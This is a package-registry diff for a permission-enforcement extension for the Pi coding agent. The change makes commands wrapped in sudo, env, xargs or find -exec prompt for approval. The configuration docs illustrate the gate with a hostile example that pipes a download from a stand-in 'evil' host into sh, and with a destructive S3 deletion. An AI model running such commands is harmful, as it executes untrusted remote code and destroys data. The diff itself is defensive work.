@gotgenes/pi-permission-system 20.4.0 → 20.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,19 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [20.4.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.4.0...pi-permission-system-v20.4.1) (2026-07-12)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
### Bug Fixes
|
|
12
|
+
|
|
13
|
+
* **pi-permission-system:** floor find/fd exec wrappers to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([6cb1d54](https://github.com/gotgenes/pi-packages/commit/6cb1d5422682894a3f742af9b4769d8ef8c40ed8))
|
|
14
|
+
* **pi-permission-system:** floor sudo/env/xargs/time/nohup/timeout/nice to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([b4d5c40](https://github.com/gotgenes/pi-packages/commit/b4d5c40985e4921d3ab1037ba3b273b6fa2fbd59))
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
### Documentation
|
|
18
|
+
|
|
19
|
+
* **pi-permission-system:** document indirection-wrapper floor and mark roadmap step 5 ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([e35c1ee](https://github.com/gotgenes/pi-packages/commit/e35c1ee622f847a9096699495502e36064cae96e))
|
|
20
|
+
|
|
8
21
|
## [20.4.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.3.0...pi-permission-system-v20.4.0) (2026-07-12)
|
|
9
22
|
|
|
10
23
|
|
package/README.md
CHANGED
|
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
|
|
|
19
19
|
- **Gates MCP and skill access** at server, tool, and skill-name granularity
|
|
20
20
|
- **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
|
|
21
21
|
- **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
|
|
22
|
-
- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an
|
|
22
|
+
- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
|
|
23
23
|
- **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
|
|
24
24
|
- **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI
|
|
25
25
|
- **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
|
package/docs/configuration.md
CHANGED
|
@@ -271,6 +271,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
271
271
|
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
|
272
272
|
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
|
273
273
|
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
|
274
|
+
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
|
275
|
+
So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
|
|
276
|
+
As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
|
274
277
|
|
|
275
278
|
Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
|
|
276
279
|
A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
|
package/package.json
CHANGED
|
@@ -11,6 +11,16 @@ import type { BashCommandContext } from "#src/types";
|
|
|
11
11
|
* The type is the stable extension point: #306 adds an execution `context`,
|
|
12
12
|
* #307 adds per-command path candidates and an effective working directory.
|
|
13
13
|
*/
|
|
14
|
+
/**
|
|
15
|
+
* Why a command unit's decision is floored to at least `ask`.
|
|
16
|
+
* `"opaque-payload"` — an inline-shell payload (`bash -c`/`eval`) whose inner
|
|
17
|
+
* program is not re-parsed (#481).
|
|
18
|
+
* `"indirection"` — a prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…)
|
|
19
|
+
* whose inner command is a visible argument but is not gated on its own (#490).
|
|
20
|
+
* The kind selects the audit sentinel; both floor identically.
|
|
21
|
+
*/
|
|
22
|
+
export type WrapperKind = "opaque-payload" | "indirection";
|
|
23
|
+
|
|
14
24
|
export interface BashCommand {
|
|
15
25
|
readonly text: string;
|
|
16
26
|
/**
|
|
@@ -19,11 +29,11 @@ export interface BashCommand {
|
|
|
19
29
|
*/
|
|
20
30
|
readonly context?: BashCommandContext;
|
|
21
31
|
/**
|
|
22
|
-
*
|
|
23
|
-
*
|
|
24
|
-
*
|
|
32
|
+
* Set when this unit is a floored indirection wrapper; its decision is floored
|
|
33
|
+
* to at least `ask` so the wrapped command cannot ride a permissive `allow`.
|
|
34
|
+
* Absent for an ordinary command.
|
|
25
35
|
*/
|
|
26
|
-
readonly
|
|
36
|
+
readonly wrapperKind?: WrapperKind;
|
|
27
37
|
}
|
|
28
38
|
|
|
29
39
|
// ── Command enumeration ──────────────────────────────────────────────────────
|
|
@@ -83,7 +93,9 @@ const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
|
|
|
83
93
|
* nested units can only ever produce a more-restrictive decision, never weaker.
|
|
84
94
|
*
|
|
85
95
|
* Each emitted command unit has any leading `variable_assignment` prefix
|
|
86
|
-
* stripped (so an env-var prefix cannot defeat a command-pattern rule)
|
|
96
|
+
* stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
|
|
97
|
+
* wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
|
|
98
|
+
* tagged with a {@link WrapperKind} so its decision is later floored to `ask`.
|
|
87
99
|
*/
|
|
88
100
|
export function collectCommands(node: TSNode): BashCommand[] {
|
|
89
101
|
const out: BashCommand[] = [];
|
|
@@ -103,7 +115,7 @@ function collectCommandsInto(
|
|
|
103
115
|
|
|
104
116
|
if (node.type === "command") {
|
|
105
117
|
out.push(
|
|
106
|
-
makeUnit(commandUnitText(node), context,
|
|
118
|
+
makeUnit(commandUnitText(node), context, classifyWrapperCommand(node)),
|
|
107
119
|
);
|
|
108
120
|
// A command's text already contains any substitution; descend its subtree
|
|
109
121
|
// to ALSO emit the inner commands of command/process substitutions.
|
|
@@ -130,10 +142,10 @@ function collectCommandsInto(
|
|
|
130
142
|
function makeUnit(
|
|
131
143
|
text: string,
|
|
132
144
|
context: BashCommandContext | undefined,
|
|
133
|
-
|
|
145
|
+
wrapperKind?: WrapperKind,
|
|
134
146
|
): BashCommand {
|
|
135
147
|
const unit: BashCommand = context ? { text, context } : { text };
|
|
136
|
-
return
|
|
148
|
+
return wrapperKind ? { ...unit, wrapperKind } : unit;
|
|
137
149
|
}
|
|
138
150
|
|
|
139
151
|
/**
|
|
@@ -142,18 +154,71 @@ function makeUnit(
|
|
|
142
154
|
const SHELL_WRAPPER_NAMES = new Set(["bash", "sh", "dash", "zsh", "ksh"]);
|
|
143
155
|
|
|
144
156
|
/**
|
|
145
|
-
*
|
|
146
|
-
* (
|
|
147
|
-
*
|
|
148
|
-
|
|
157
|
+
* Indirection wrappers that always invoke a following command, so the wrapper
|
|
158
|
+
* (not the inner command) is what a bash rule matches. Floored by command-name
|
|
159
|
+
* basename alone. Extend this set to cover another always-invoking wrapper.
|
|
160
|
+
*/
|
|
161
|
+
const INDIRECTION_WRAPPER_NAMES = new Set([
|
|
162
|
+
"sudo",
|
|
163
|
+
"env",
|
|
164
|
+
"xargs",
|
|
165
|
+
"time",
|
|
166
|
+
"nohup",
|
|
167
|
+
"timeout",
|
|
168
|
+
"nice",
|
|
169
|
+
]);
|
|
170
|
+
|
|
171
|
+
/**
|
|
172
|
+
* Search tools that invoke a command per result only when an exec flag is
|
|
173
|
+
* present; a bare search runs no subcommand. Floored only when an argument
|
|
174
|
+
* exactly matches one of the tool's exec flags. Extend by adding a tool with
|
|
175
|
+
* its exec-flag set.
|
|
176
|
+
*/
|
|
177
|
+
const EXEC_CONDITIONAL_WRAPPERS = new Map<string, ReadonlySet<string>>([
|
|
178
|
+
["find", new Set(["-exec", "-execdir", "-ok", "-okdir"])],
|
|
179
|
+
["fd", new Set(["-x", "--exec", "-X", "--exec-batch"])],
|
|
180
|
+
]);
|
|
181
|
+
|
|
182
|
+
/**
|
|
183
|
+
* Classify a `command` node as a floored wrapper, or `undefined` for an
|
|
184
|
+
* ordinary command. Reads only the node's own named children (a shallow walk),
|
|
185
|
+
* skipping any leading `variable_assignment` prefix, and matches the command
|
|
186
|
+
* name on its basename (so `/bin/bash -c …` counts).
|
|
149
187
|
*
|
|
150
|
-
*
|
|
151
|
-
*
|
|
152
|
-
*
|
|
188
|
+
* `"opaque-payload"`: `eval`, or a shell (`bash`/`sh`/`dash`/`zsh`/`ksh`) with a
|
|
189
|
+
* `-c` short-flag cluster (`-c`, `-ec`, `-xc`) — the inner program is a quoted
|
|
190
|
+
* argument the enumerator does not re-parse (#481).
|
|
191
|
+
*
|
|
192
|
+
* `"indirection"`: an always-invoking prefix/exec wrapper
|
|
193
|
+
* (`INDIRECTION_WRAPPER_NAMES`), or a search tool (`EXEC_CONDITIONAL_WRAPPERS`,
|
|
194
|
+
* `find`/`fd`) carrying a per-result exec flag — the inner command is a visible
|
|
195
|
+
* argument that a `<cmd> *` rule would otherwise never match (#490). A bare
|
|
196
|
+
* `find`/`fd` search runs no subcommand and is not flagged.
|
|
197
|
+
*/
|
|
198
|
+
function classifyWrapperCommand(node: TSNode): WrapperKind | undefined {
|
|
199
|
+
const { commandName, args } = readWrapperCommand(node);
|
|
200
|
+
if (commandName === undefined) return undefined;
|
|
201
|
+
if (commandName === "eval") return "opaque-payload";
|
|
202
|
+
if (SHELL_WRAPPER_NAMES.has(commandName) && hasShortFlagC(args)) {
|
|
203
|
+
return "opaque-payload";
|
|
204
|
+
}
|
|
205
|
+
if (INDIRECTION_WRAPPER_NAMES.has(commandName)) return "indirection";
|
|
206
|
+
const execFlags = EXEC_CONDITIONAL_WRAPPERS.get(commandName);
|
|
207
|
+
if (execFlags && args.some((arg) => execFlags.has(arg))) return "indirection";
|
|
208
|
+
return undefined;
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
/**
|
|
212
|
+
* A `command` node's name basename and its argument texts, skipping any leading
|
|
213
|
+
* `variable_assignment` prefix (matching `commandUnitText`). `commandName` is
|
|
214
|
+
* `undefined` for a pure assignment with no `command_name`.
|
|
153
215
|
*/
|
|
154
|
-
function
|
|
216
|
+
function readWrapperCommand(node: TSNode): {
|
|
217
|
+
commandName: string | undefined;
|
|
218
|
+
args: string[];
|
|
219
|
+
} {
|
|
155
220
|
let commandName: string | undefined;
|
|
156
|
-
|
|
221
|
+
const args: string[] = [];
|
|
157
222
|
for (let i = 0; i < node.childCount; i++) {
|
|
158
223
|
const child = node.child(i);
|
|
159
224
|
if (!child?.isNamed) continue;
|
|
@@ -162,15 +227,24 @@ function isOpaqueWrapperCommand(node: TSNode): boolean {
|
|
|
162
227
|
commandName = basename(child.text);
|
|
163
228
|
continue;
|
|
164
229
|
}
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
230
|
+
args.push(child.text);
|
|
231
|
+
}
|
|
232
|
+
return { commandName, args };
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
/**
|
|
236
|
+
* True when an argument list has a short-flag cluster containing `c` before any
|
|
237
|
+
* `--` end-of-options marker (`-c`, `-ec`, `-xc`) — the inline-shell payload
|
|
238
|
+
* flag for `bash`/`sh`/`dash`/`zsh`/`ksh`.
|
|
239
|
+
*/
|
|
240
|
+
function hasShortFlagC(args: string[]): boolean {
|
|
241
|
+
for (const arg of args) {
|
|
242
|
+
if (arg === "--") return false;
|
|
243
|
+
if (arg.startsWith("-") && !arg.startsWith("--") && arg.includes("c")) {
|
|
244
|
+
return true;
|
|
169
245
|
}
|
|
170
246
|
}
|
|
171
|
-
|
|
172
|
-
if (commandName === "eval") return true;
|
|
173
|
-
return SHELL_WRAPPER_NAMES.has(commandName) && sawShortFlagC;
|
|
247
|
+
return false;
|
|
174
248
|
}
|
|
175
249
|
|
|
176
250
|
/** The final path segment of a command name (`/bin/bash` → `bash`). */
|
|
@@ -75,9 +75,9 @@ export class BashProgram {
|
|
|
75
75
|
* Splits on the shell chain operators (`&&`, `||`, `;`, `|`, `&`, newlines);
|
|
76
76
|
* quotes, command substitution, and subshells are respected by the parser and
|
|
77
77
|
* are NOT split — a subshell or other compound statement is emitted whole.
|
|
78
|
-
* Each unit has any leading `variable_assignment` prefix stripped, and
|
|
79
|
-
*
|
|
80
|
-
* is floored to `ask`.
|
|
78
|
+
* Each unit has any leading `variable_assignment` prefix stripped, and a
|
|
79
|
+
* wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
|
|
80
|
+
* tagged with a `wrapperKind` so its decision is floored to `ask`.
|
|
81
81
|
* May be empty (e.g. an empty command or a comment-only line); callers fall
|
|
82
82
|
* back to the whole command so the surface is never evaluated weaker than
|
|
83
83
|
* before.
|
|
@@ -1,4 +1,7 @@
|
|
|
1
|
-
import type {
|
|
1
|
+
import type {
|
|
2
|
+
BashCommand,
|
|
3
|
+
WrapperKind,
|
|
4
|
+
} from "#src/access-intent/bash/command-enumeration";
|
|
2
5
|
import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
|
|
3
6
|
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
|
4
7
|
import type { PermissionCheckResult } from "#src/types";
|
|
@@ -19,11 +22,13 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
19
22
|
* `commandContext` (set only for a nested command), so the prompt,
|
|
20
23
|
* session-approval suggestion, and decision event scope to that command.
|
|
21
24
|
*
|
|
22
|
-
*
|
|
23
|
-
*
|
|
24
|
-
*
|
|
25
|
-
*
|
|
26
|
-
*
|
|
25
|
+
* A wrapper unit (flagged with a `wrapperKind` by the enumerator) hides or
|
|
26
|
+
* indirects the command that should be gated, so an `allow` is floored up to a
|
|
27
|
+
* synthetic `ask` — the `<opaque-bash-wrapper>` pattern for an inline-shell
|
|
28
|
+
* payload (`bash -c`/`eval`, #481) or `<indirection-bash-wrapper>` for a
|
|
29
|
+
* prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…, #490) — to keep it
|
|
30
|
+
* from riding a permissive rule; an explicit `deny`/`ask` on the wrapper is left
|
|
31
|
+
* untouched (`deny > ask > allow`).
|
|
27
32
|
*
|
|
28
33
|
* When `commands` is empty there are two cases. A trivially-empty command (an
|
|
29
34
|
* empty, whitespace-only, or comment-only line) has genuinely nothing to gate,
|
|
@@ -36,6 +41,15 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
36
41
|
* Pure and synchronous: the (async, tree-sitter) parse happens once in the
|
|
37
42
|
* handler, which passes the decomposed `commands` here.
|
|
38
43
|
*/
|
|
44
|
+
/**
|
|
45
|
+
* The synthetic `matchedPattern` recorded when a wrapper unit's `allow` is
|
|
46
|
+
* floored to `ask`, keyed by the wrapper kind that caused the floor.
|
|
47
|
+
*/
|
|
48
|
+
const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
|
|
49
|
+
"opaque-payload": "<opaque-bash-wrapper>",
|
|
50
|
+
indirection: "<indirection-bash-wrapper>",
|
|
51
|
+
};
|
|
52
|
+
|
|
39
53
|
export function resolveBashCommandCheck(
|
|
40
54
|
command: string,
|
|
41
55
|
commands: BashCommand[],
|
|
@@ -69,11 +83,11 @@ export function resolveBashCommandCheck(
|
|
|
69
83
|
agentName,
|
|
70
84
|
});
|
|
71
85
|
const result =
|
|
72
|
-
cmd.
|
|
86
|
+
cmd.wrapperKind && base.state === "allow"
|
|
73
87
|
? {
|
|
74
88
|
...base,
|
|
75
89
|
state: "ask" as const,
|
|
76
|
-
matchedPattern:
|
|
90
|
+
matchedPattern: WRAPPER_SENTINEL[cmd.wrapperKind],
|
|
77
91
|
}
|
|
78
92
|
: base;
|
|
79
93
|
return cmd.context ? { ...result, commandContext: cmd.context } : result;
|